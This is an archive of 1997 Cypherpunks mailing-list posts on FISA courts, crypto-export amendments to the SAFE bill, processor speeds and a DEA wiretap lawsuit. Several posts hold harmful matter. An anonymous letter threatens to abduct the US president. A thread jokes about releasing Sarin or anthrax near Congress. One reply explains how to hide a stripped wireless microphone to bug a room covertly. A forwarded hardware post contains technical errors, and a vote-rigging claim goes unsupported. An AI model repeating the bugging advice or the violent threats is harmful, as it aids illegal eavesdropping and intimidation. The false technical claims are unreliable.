  Also, you are not likely to see a FISA judge's name on a warrant.
Instead, you will see warrants by regular judges which are backdated
to dates such as, say...March 28 at 9:02 a.m.
  There are a variety of court systems within which they have the clerks
regularly 'skip' certain document numbers, leaving them with hard to
trace back-dated paperwork capabilities.

  This is a 'Democracy', which is why, in addition to secret police,
we also have 'secret judges', and 'secret executioners'. (Do we also
have 'secret voters'?)

Anonymous #23-2b
Cypherpunks Chief Spokesperson #328





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>Canadian Jam Remailer <remailer@cypherpunks.ca>
Date: Wed, 17 Sep 1997 19:02:56 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Please Archive]Please Archive
Message-ID: <341FB2A9.61F5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: message/rfc822



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Version: PGP for Personal Privacy 5.0
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-----END PGP MESSAGE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Wed, 17 Sep 1997 19:37:01 +0800
To: cypherpunks@toad.com
Subject: Decrypted / Like mom used to say...
Message-ID: <341FBD6A.7610@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



+OK 5688 octets
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Date: Wed, 17 Sep 1997 02:15:21-0400
From: Six <ualdv8@sk.sympatico.ca>
Reply-To: ualdv8@sk.sympatico.ca
X-Mailer: Mozilla 4.01  (Win95; X)
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Message-ID: <341FB0A5.5E4C@cypherpunks.ca>
Date: Wed, 17 Sep 1997 04:27:49 -0600
From: Canadian Jam Remailer <remailer@cypherpunks.ca>
Reply-To: remailer@cypherpunks.ca
X-Mailer: Mozilla 3.01A  (Win95; U)
MIME-Version: 1.0
To: cypherpunks@toad.com
Subject: Like mom used to say...
Content-Type: text/plain; charset=us-ascii; name="CanJam.asc"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="CanJam.asc"

::
Anon-To: president@whitehouse.gov

Dear Yankee Asshole,
  You ever hear of Noriega, Shit For Brains?
  In case it has slipped your mind, he is the fucker
that the U.S. used as an example that it is legal and
righteous to invade another country and capture the
criminals in power, bringing them back to your own
country to imprison and try for their crimes.

  This means YOU, asshole!
  Are you hard of fucking hearing, eh? Maybe you should
have paid closer attention to Big Bad John Chretien
when he informed the world as to who the biggest fucking
criminals are in society.
  This means YOU, asshole!

  You think that YOU are going to tell CANADIANS what 
we can and can't do in our own fucking country?
  Guess again you piece of shit.

  Like mom used to say, "If I've got to come down there,
son, you are in big, big trouble."
  So get back in your own bed and go to sleep, pal, if
you know what's good for you.
  If we have to come down there and bring your ass back
for trial, I don't think you can count on your citizens
to back you up. (At least not the ones who are hanging
on to their fucking guns, and the ones that aren't can
kiss our big blubbery Canadian butts.)

  So why don't you keep your fucking nose out of our
business and concentrate on disarming and imprisoning
the only citizens you have left who are capable of
defending you if the Canadian government decides that
it is time to see some justice done to the criminals
in D.C?
  And while you are at it, you might consider treating
the Canadian you have taken hostage in Camp Pendleton
the same as you would treat present Presidents who
didn't go overseas to murder strangers for Big Oil.
  Tell Randy that if we come for you, we will stop by
Camp Pendleton and pick him up, too. I don't think that
the drug-addict rapists that currently comprise the
majority of your armed services are going to put up
much resistance. They know that they will go back to
jail when they get out of the services, anyway.

Your Canadian Pal,
Canonymous





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 17 Sep 1997 13:49:10 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Brit conference asks for more cyberspace violations
Message-ID: <199709170543.XAA21563@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

*** Fraudbusters seek fresh angles as cybercrime grows

Crimebusters must devise more ingenious ways of combating fraud and
will need new international policing powers to stem a rising tide of
high-tech economic crime, experts say. Delegates at an economic crime
conference in Cambridge, England, this week complained they lacked
the tools and power to take the fight to the organized criminals
whose only barrier was the speed of their modems. Culprits were hard
to pin down, said Rosalind Wright, head of Britain's Serious Fraud
Office. It was harder still to "swat the fly-by-nights," she said.
See 

    http://www.infobeat.com/stories/cgi/story.cgi?id=4974072-ff5

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Charset: latin1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 17 Sep 1997 22:20:47 +0800
To: cypherpunks@Algebra.COM
Subject: Divx
Message-ID: <Pine.LNX.3.95.970917100443.940E-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



>From <http://www.wired.com/news/news/technology/story/6947.html>:

Divx Protects Content, But Not Your Liberties
			
The ability to create pristine copies of any digital work is seen as a
threat by some Hollywood studios, which are experimenting with a new
pay-to-play DVD format to protect their intellectual property. This format,
Divx, could conceivably hobble the video rental business, but some see its
real threat as an invasion of consumer privacy - and the freedom to view
information anonymously.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 17 Sep 1997 19:11:36 +0800
To: cypherpunks@toad.com
Subject: E-Cash
Message-ID: <199709171057.MAA06386@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May has been a source of endless embarassments to his sympathizers on 
and off the net.

    <o      o>  Tim May
    /-+-- --+X
   />        <\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
Date: Thu, 18 Sep 1997 14:26:32 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Court proceedings under SAFE (secret voters)
In-Reply-To: <199709170217.EAA17187@basement.replay.com>
Message-ID: <199709171626.KAA10051@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



> Declan McCullagh wrote:
> > On Thu, 11 Sep 1997, Lucky Green wrote:
>  > > >secret court that has never denied a request for a wiretap)
> jurisdiction;
> > > Is there any way of finding out the names of the judges sitting on the FISA
> > > court?
>  
> > Not that I know of, though I do know that U.S. District Court Judge Joyce
> > Green served on the FISA court for seven years.
> > 
> > Background: The 1978 Foreign Intelligence Survelliance Act established a
> > special, secret court of current Federal district court judges. They
> > approve warrants in secret hearings, with no opposing attorneys present.
> > The judges are required to be available 24 hours a day for emergency
> > hearings. Some happen in the middle of the night in the judge's home.
> 
>   Also, you are not likely to see a FISA judge's name on a warrant.
> Instead, you will see warrants by regular judges which are backdated
> to dates such as, say...March 28 at 9:02 a.m.
>   There are a variety of court systems within which they have the clerks
> regularly 'skip' certain document numbers, leaving them with hard to
> trace back-dated paperwork capabilities.
> 
>   This is a 'Democracy', which is why, in addition to secret police,
> we also have 'secret judges', and 'secret executioners'. (Do we also
> have 'secret voters'?)

Funny you should mention that.  Check out VoteScam by James
Callier (sp?).  This might actually be of some interest to the 
security people out there.  Its a pure system security issue.

The software for the federal electronic vote tabulating equipment is 
produced by several independent vendors.  *None* of the source code 
is available.  The electronic votes are forwarded to a news 
consortium comprised of ABC,NBC,CBS and CNN.  It does *not*
go through an independently audited federal agency of any sort.
(this is what Callier claims -- it should be easy enough to verify)

My wife used to be an election observer in StLouis and the
"validation" test consists of the operator telling the witnesses
what to expect and then running a test deck of cards through
the machine.  *Suprise*   The results are exactly as the operator
predicted.

The news corporations predict the outcomes.
The news corporations collect the votes.
The news corporations report the results.
The news corporations are suprisingly close in their predictions.
(very interesting)

This system is so fraught with security holes I don't think I need
to belabor the point.  What happens when a system is vulnerable
to corruption in such a sensitive position?  Hint: What happens to
unprotected iron in salt water?

Have a better one,

Jim Burnes

PS: I think there is a votescam page on the web out there somewhere.

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 18 Sep 1997 02:13:21 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Re: 767 MHz Alpha, opinion_mode_enabled (fwd)
In-Reply-To: <Pine.SUN.3.96.970917123516.25992B-100000@beast.brainlink.com>
Message-ID: <v03102806b045c94f0979@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:37 AM -0700 9/17/97, Ray Arachelian wrote:
>I 'spose it's gettin' to be time that we ditched them 512 bit keys and
>them 40 bit keys. :)  The very existance of a 2.6GHz CPU - yes freon
>cooled is more than enough...

As Ray knows, processors are getting more powerful at a very slow rate.
Mere doublings and triplings in speed are what we're seeing in the newer
generations of processors. (And these require multibillion dollar wafer
fabs to build.)

A 400 MHz Pentium II, or a 767 MHz Alpha, or whatever, is significant for a
lot of business applications--faster transaction processing, better video
processing, etc.--but it ain't meaningful for breaking ciphers.

>---------- Forwarded message ----------
>Date: Wed, 17 Sep 1997 11:08:40 -0500
>From: "Kirk R. Erichsen" <KirkE@LOSNINOS.ORG>
>Reply-To: AlphaNT@beauty.mke.ra.rockwell.com
>To: AlphaNT@beauty.mke.ra.rockwell.com
>Subject: Re: 767 MHz Alpha, opinion_mode_enabled
>
>
>According to trade reports, the 21264 will be available at 800MHz by mid 98
>but the die size (a .25 micron die) will need a signficant shrink to make
>the speed practical (heat and power consumption will be monsterous).  It
>will need a die shrink to a .15 or .18 process in order for 800MHz + Alpha
>CPUs to be inexpensive enough to produce in volume. A smaller die size

I predict DEC will eventually shift from the Alpha, despite its nice
architecture, to the Intel line of processors. Many of us believe the DEC
lawsuit, and Intel's countersuit, are negotiating cards in DEC getting a
better bargaining position.

>increases the number of chips that are "good" per waffer and decreases the
>finished chips power consumption and heat dissipation.  Other methods for
>dealing with CPU speed (which don't address power or heat directly) include
>using CMOS alternatives like BiCMOS and Gallium Arsenide.  Gallium Arsenide
>is very expensive, and the element Gallium is a rare earth element, so high
>production using it is not possible.

This is pure bullshit. The "rarity" of a so-called rare earths material has
nothing to do with the economics of production. GaAs is available. What is
important is that the overall knowledge about silicon production is so much
better, from a production standpoint. And that at small geometries the
distinction  between Si and GaAs tends to vanish.

No comment on the rest of the article, which is just speculation about
x-ray, nanotech, etc.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chuck McManis <cmcmanis@FreeGate.net>
Date: Thu, 18 Sep 1997 14:46:18 +0800
To: cypherpunks@toad.com
Subject: Crypto-law etc
Message-ID: <3420310E.ADFFE243@FreeGate.net>
MIME-Version: 1.0
Content-Type: text/plain



The longer I follow the crypto "debate" the more I begin to
understand what must have been the real intent behind the
2nd amendment of the constitution.

If the White House can get crypto code defined in the true
legal sense (that is backed up by case law) as a munition,
do US citizens then have a constitutional right to "bear" it?

Just curious,
--Chuck





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 18 Sep 1997 00:43:54 +0800
To: cypherpunks <cypherpunks@cyberpass.net
Subject: Re: 767 MHz Alpha, opinion_mode_enabled (fwd)
Message-ID: <Pine.SUN.3.96.970917123516.25992B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



I 'spose it's gettin' to be time that we ditched them 512 bit keys and
them 40 bit keys. :)  The very existance of a 2.6GHz CPU - yes freon
cooled is more than enough...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

---------- Forwarded message ----------
Date: Wed, 17 Sep 1997 11:08:40 -0500
From: "Kirk R. Erichsen" <KirkE@LOSNINOS.ORG>
Reply-To: AlphaNT@beauty.mke.ra.rockwell.com
To: AlphaNT@beauty.mke.ra.rockwell.com
Subject: Re: 767 MHz Alpha, opinion_mode_enabled


According to trade reports, the 21264 will be available at 800MHz by mid 98
but the die size (a .25 micron die) will need a signficant shrink to make
the speed practical (heat and power consumption will be monsterous).  It
will need a die shrink to a .15 or .18 process in order for 800MHz + Alpha
CPUs to be inexpensive enough to produce in volume. A smaller die size
increases the number of chips that are "good" per waffer and decreases the
finished chips power consumption and heat dissipation.  Other methods for
dealing with CPU speed (which don't address power or heat directly) include
using CMOS alternatives like BiCMOS and Gallium Arsenide.  Gallium Arsenide
is very expensive, and the element Gallium is a rare earth element, so high
production using it is not possible.  

As for the existing Digital freon "lab" chips, the 1.2GHz frequency has
actually been surpassed twice already, with some reports saying that the
last test with a non-production (beta 21364?) chip reached 2.6GHz. I don't
know if at that frequency the processor was at sub-zero (in Celsius)
temperatures, but it was at least a liquid nitrogen machine.  One question
no one seems to ask is "how fast were the external buses to memory and
cache running on these testbeds?"    

Xray lithography has already produced (in very limited quantity) operable
memory and processors with die sizes of below .000001 microns, a size that
could accomodate about 1000 21264 processors  in a package that would
appear to be little more than a single "chip."  

The problem with implementing Xray lithography is that almost none of the
existing process tools for producing chips can be used.  The precise photo
lithography masks (most of which are used with ultra-violet light) don't
work anymore (Xray just goes right through) forcing you to use alloys of
lead, bismuth and zirconium in the masks, a considerably more expensive and
complex method.  Ionizer units and other tools would have to be built for
dealing with incredibly low tolerance.  

When Xray lithography is finally implmented, there will be a quantum lead
in the frequency (multi GHz) while simulataneously reducing power
consumption and heat dissipation.  SMP and massively parallel machines will
be portable boxes that will weigh only slightly more than the case and
screen (if the TFT panel itself does not fall prey to light weight
projection glasses) force it to be.   

The other option for new memory and processor devices is to "grow" them.
Nanotechnologies that may be available in the next 10 years could allow
microscopic machines in combination with biologic engineering could produce
processors and memory of sizes at or below those of Xray lithography, with
significant implications in other industries as well. 

One issue very rarely addressed in trade mags is the system bus speeds for
the system bus (or any seperate cache, memory and I/O buses).  Without a
fast external bus speed, the system cannot necessarily provide more usable
performance, particularly when memory becomes bottlenecked and saturated
even at todays low frequencies.  High internal CPU frequency does can not
provide a linear increase in performance in and of itself.  At about
400MHz, you have reached the maximum frequency an electrical bus can run.
The next option for connecting the system bus to the processors is through
optical buses.  Optical buses don't suffer from the interference and noise
that electrical buses do, and can operate at up to many thousands of GB
without the error rates.  Optical buses will connect all cache, memory and
storage devices (directly without I/O adaption) in multiple segments with
parallel access to all devices.  The problems with doing this are the speed
of the embedded switches which convert electrical signals into optical
pulses are currently much too high in latency.  A die shrink, the use of a
high speed silicon or GA switch (or some new Selenium technology) could
make the speed between electrical and optical buses practical.   

The other implication of more advanced methods for producing memory and
processors is that the sluggish mechanical disk drive becomes totally
obsolete.  Massive non-volatile memory storage could be added to a system
directly off the memory bus without the need for additional I/O buses.
Hologramic optical storage devices (which store data as an image in 3D
space) will replace most of the mechanical drive based multi-terrabyte
installations with multi exabyte storage that will be 1000 smaller than
existing storage devices. The entire world could place all its currently
existing data and archives into a hologramic memory device the size of a
lunch box.  If it all sounds far fetched, its been proven possible already.
Lets give it 10 years.   




At 10:41 AM 9/17/97 -0400, you wrote:
>I talked with a tech from DEC here in Massachusetts and yes, I can
>confirm that they did get 1.2 Gig but it was cooled with a liquid
>nitrogen containing fan system, which cooled the chip considerably, but
>not below freezing point.  The FPU was very bad at this temp though

Kirk R. Erichsen	
LAN Manager/Communications





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 18 Sep 1997 05:59:39 +0800
To: cypherpunks@cyberpass.net
Subject: LACC:  DEA Agents Accuse CIA of Tapping Phones
Message-ID: <3.0.3.32.19970917145126.03a55970@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




This would probably be a pretty interesting complaint to read, if there are
any DC-area cypherpunks who feel like making a trip down to the courthouse ..

>Resent-Date: Wed, 17 Sep 1997 19:55:42 +1000 (EST)
>Date: 17 Sep 1997 09:49:50 -0000
>From: proff@suburbia.net
>X-Loop: lacc@suburbia.net
>Resent-Sender: lacc-request@suburbia.net
>To: lacc@suburbia.net
>Resent-From: lacc@suburbia.net
>X-OS: FreeBSD3.0-current
>X-Mailing-List: <lacc@suburbia.net>
ftp://ftp.suburbia.net/pub/mailinglists/lacc/archive/latest/1018
>X-Subscription: To unsubscribe from this fine mailing list mail
lacc-request@suburbia.net with Subject: unsubscribe
>Subject: LACC:  DEA Agents Accuse CIA of Tapping Phones
>
>Real-To:  proff@suburbia.net
>
>
>
>SAN FRANCISCO (AP) - The CIA and other spy
>agencies have systematically tapped the phones of
>overseas  Drug Enforcement Administration offices,
>according to a class action lawsuit agents filed
>Thursday in Washington.
>
>The lawsuit, which also names the National Security
>Agency and the State Department, seeks a court
>order barring those agencies from any further
>wiretapping.
>
>"These agencies have a pattern and practice of
>eavesdropping on DEA agents' and employees'
>conversations while they are serving the government
>overseas," said attorney Brian Leighton of Clovis, Calif.
>
>But legal experts say it could be a difficult lawsuit to
>win, especially since an employer - in this case the
>government - generally has a right to listen to employee
>conversation on office phones.
>
>It also doesn't help that national security was involved
>and that courts have held that U.S. citizens don't have
>constitutional rights overseas.
>
>``It's an uphill battle. It's going to be a tough suit,'' said
>constitutional law expert Paul Rothstein of Georgetown
>University.
>
>The lawsuit was filed on behalf of all DEA agents,
>but the agency itself was not part of the action.
>
>The only DEA agent named as a plaintiff in the suit
>is Richard A. Horn, currently with the agency's New
>Orleans bureau. Five other incidents involving other
>unidentified agents are alleged.
>
>Two years ago Horn filed a lawsuit accusing U.S.
>officials of undermining his anti-drug efforts in Burma.
>
>That suit is still pending.
>
>Leighton said subsequent contacts with other DEA
>personnel revealed a pattern of similar abuses around
>the world.
>
>CIA spokesman Mark Mansfield said he could not
>comment directly on the class action lawsuit, but
>defended his agency.
>
>"It is not the CIA's mission, nor is it part of the
>operations of the agency, to surveil in any manner
>U.S. officials, or other U.S. citizens at home or
>abroad,'' Mansfield said.
>
>The only exception would be in counterintelligence
>cases, he added, and then only in consultation with
>senior Justice Department officials.
>
>DEA spokesman James McGivney said he could not
>comment on pending litigation, but noted that as a
>U.S. citizen, Horn had the right file his own lawsuit.
>
>John Russell, spokesman for the Justice Department,
>which defends the other agencies in lawsuits,
>said only, ``we will respond in court.''
>
>In Horn's previous case, Leighton said, the Justice
>Department angered DEA agents by claiming they
>have no Fourth Amendment constitutional right
>against wiretapping when working outside the
>country.
>
>Leighton, a former federal prosecutor, said the
>lawsuit doesn't address the reasons for the alleged
>electronic eavesdropping.
>
>"My assumption is because they want to know
>what DEA is doing, they want to rip off DEA
>informants, they want to know DEA contacts
>within foreign governments,'' Leighton said.
>``And with the Cold War over, these agencies
>are looking for a new mission.''
>
>An April 1996 letter to agents by Horn and
>Leighton, details the allegation of wiretapping
>against the agent in Burma.
>
>Horn's residence ``was the target of a U.S.
>Government Agency-sponsored electronic audio
>intercept,'' it said.
>
>"Horn had occasion to see a cable containing
>his words in quotation marks, that he had spoken
>to another DEA agent, set forth exactly as stated...''
>
>The suit also reports alleged wiretaps against
>DEA agents in the Dominican Republic from
>1987 to 1990, in May 1993 and September 1994
>at the Bangkok, Thailand office; at the Guatemala
>City office in 1984, 1985 and from 1987 to 1989;
>and in an unidentified location in April 1987.
>
>The suit, assigned to U.S. District Judge Harold H.
>Greene, names as defendants Secretary of State
>Warren Christopher, CIA Director John Deutch
>and NSA Director Adm. J.M. McConnell.
>
>
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 18 Sep 1997 06:14:48 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970915161036.00b98760@mail.io.com>
Message-ID: <3.0.3.32.19970917150154.00879b70@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:15 PM 9/17/97 -0400, Carl Ellison wrote:
>At 04:10 PM 9/15/97 -0700, Greg Broiles wrote:
>>AMENDMENTS TO H.R. 695
>>OFFERED BY MR. WELDON AND MR. DELLUMS
>>
[...]
>>Decisions made by the Secretary of Commerce with the concurrence of the
>>Secretary of Defense with respect to exports of encryption products under
>>this section shall not be subject to judicial review.
>
>I take it this last sentence is intended to kill Bernstein, Karn and Junger
>and any other cases we might try to bring.  Correct?

As I remember _Karn_ (sorry to hand-wave, am behind a very slow net
connection at the moment), it's primarily a challenge to State/BXA's
decisions with respect to a particular export license application. The
sentence above from the Weldon/Dellums amendment would eliminate that sort
of challenge.

Congress cannot eliminate challenges like those in _Bernstein_ and _Junger_
which are challenges to a statutory/regulatory scheme on the grounds that
it is unconstitutional. The only way to avoid/eliminate judicial review of
a constitutional challenge to a statute is to amend the constitution
itself. (cf. the "no offensive flag-burning" amendments which are discussed
from time to time, which are unconstitutional when expressed as ordinary
statutes or as administrative regulations, see _Texas v. Johnson_ and _US
v. Eichman_.) 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 18 Sep 1997 07:13:58 +0800
To: Ben Cox <cme@cybercash.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970917161510.03264cb0@cybercash.com>
Message-ID: <v03102800b0460d4e1e8d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:24 PM -0700 9/17/97, Ben Cox wrote:
>Carl Ellison says:
>>>Decisions made by the Secretary of Commerce with the concurrence of the
>>>Secretary of Defense with respect to exports of encryption products under
>>>this section shall not be subject to judicial review.
>>
>>I take it this last sentence is intended to kill Bernstein, Karn and Junger
>>and any other cases we might try to bring.  Correct?
>
>How could that possibly be binding?  Anything the court system thinks is
>subject to judicial review is subject to judicial review.

To all responding to Carl's comments, we talked about this last week.

It is clear that the law cannot preclude Supreme Court rule, of the law
itself. It is also likely that any particular target of the surveillance
could challenge the basic constitutionality of the law.

Cf. last week's traffic on Cypherpunks.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 18 Sep 1997 06:54:11 +0800
To: Sean Roach <cypherpunks@Algebra.COM
Subject: Re: Biological Warfare
In-Reply-To: <199709172143.RAA12527@www.video-collage.com>
Message-ID: <v03102801b0460e00485d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:43 PM -0700 9/17/97, Sean Roach wrote:
>I came up with an idea for fighting GAK.  Biological warefare.
>This is a tried and true formula for war.
>The Europeans used it to great effect against the Native Americans in the
>form of Rabies and Smallpoxs.
>The Europeans even used a form of it even earlier, throwing the rotting
>corpses of dead horses into beseiged cities to spread desease.
>The more modern chemical warefare has been used in both world wars and
>possibly by Saddam Hussain during the Gulf War.

While I support your general goals, the idea of releasing Sarin or anthrax
or other agents near the warrens of the burrowcrats in Washington is likely
to backfire. Although the rodent extermination might succeed, the rodents
have a prodigious ability to breed more of themselves. It's not clear that
calling in the Orkin man to rid the infestation in the Congress will
accomplish anything.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Thu, 18 Sep 1997 04:26:43 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970915161036.00b98760@mail.io.com>
Message-ID: <3.0.3.32.19970917161510.03264cb0@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:10 PM 9/15/97 -0700, Greg Broiles wrote:
>AMENDMENTS TO H.R. 695
>OFFERED BY MR. WELDON AND MR. DELLUMS
>
>Strike Section 3 and insert the following:
>
>SEC 3. EXPORTS OF ENCRYPTION.
>	(a) EXPORT CONTROL OF ENCRYPTION PRODUCTS NOT CONTROLLED ON THE UNITED
>STATES MUNITIONS LIST. - The Secretary of Commerce, with the concurrence of
>the Secretary of Defense, shall have the authority to control the export of
>encryption products not controlled on the United States Munitions List.
>Decisions made by the Secretary of Commerce with the concurrence of the
>Secretary of Defense with respect to exports of encryption products under
>this section shall not be subject to judicial review.

I take it this last sentence is intended to kill Bernstein, Karn and Junger
and any other cases we might try to bring.  Correct?

Is anyone starting a campaign to get congressfolks to kill both McCain-Kerrey
and the amended SAFE?

 - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <phm@rcinet.com>
Date: Thu, 18 Sep 1997 14:26:46 +0800
To: The Real Guy <guy_real@dev.null>
Subject: Re: Spooks' New Charter
In-Reply-To: <v03102818b044b47054a8@[199.3.131.82]>
Message-ID: <34206E0B.398C@rcinet.com>
MIME-Version: 1.0
Content-Type: text/plain



The Real Guy wrote:
 
>   Such as faulty parts for the U.S. Stealth Bomber that crashed at
> an air show this week and the Iraquin hostage rescue helicopters.
>   Hey! Wait a minute...!?!?
> Actually it was a stealth fighter (F-117) not stealth bomber (B-2).  
OTOH, the stealth fighter is a bomber -- not a fighter.

PHM





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Amanda Walker <amanda@intercon.com>
Date: Thu, 18 Sep 1997 05:26:43 +0800
To: cme@cybercash.com
Subject: Re: National Security Committee amendments to SAFE
Message-ID: <199709172113.RAA07535@mail.intercon.com>
MIME-Version: 1.0
Content-Type: text/plain



> I take it this last sentence is intended to kill Bernstein, Karn and Junger
> and any other cases we might try to bring.  Correct?

Looks like a separation of powers problem at first glance; how many
situations are there where the legislative branch and the executive
branch can collude to take the judicial branch out of the loop entirely?


Amanda Walker
Ascend Communications, Inc.
amanda_walker@ascend.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 18 Sep 1997 05:31:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Telephone bugging devices
Message-ID: <199709172122.RAA10572@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:49 PM 9/16/97 -0400, ERIC HUGHES wrote:
>
>I was wondering if you can give me infomation on how and where i can get
>a non visible telephone bugging device. Cost as well.
>
>Or a room bugging  device non visible as long as it can only be detected
>by detecters
>
>
Radio Shack.  It's called a FM Wireless Microphone.
You can probably get one for less than 20 bucks.
You can then take the shell off of this, probably a little black rectangle
or a childs toy microphone, and you will have a nie little circuit board.
Battery life is a problem, but you can work out a solution to that depending
on where you put it.
Hide it either on the underside of surfaces below eye level or on the top
surfaces of objects a foot or so above head level.

They sell some more dedicated hardware out of the back of magazines like
popular science and popular mechanics.  Look for advertisements that claim
that thier product can BROADCAST UP TO A HALF MILE and show a picture of
something next to a quarter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Cox <cox+@transarc.com>
Date: Thu, 18 Sep 1997 05:42:19 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970915161036.00b98760@mail.io.com>
Message-ID: <v03110709b045fae56b41@[158.98.7.94]>
MIME-Version: 1.0
Content-Type: text/plain



Carl Ellison says:
>>Decisions made by the Secretary of Commerce with the concurrence of the
>>Secretary of Defense with respect to exports of encryption products under
>>this section shall not be subject to judicial review.
>
>I take it this last sentence is intended to kill Bernstein, Karn and Junger
>and any other cases we might try to bring.  Correct?

How could that possibly be binding?  Anything the court system thinks is
subject to judicial review is subject to judicial review.

-- Ben






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 18 Sep 1997 06:37:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ is back...
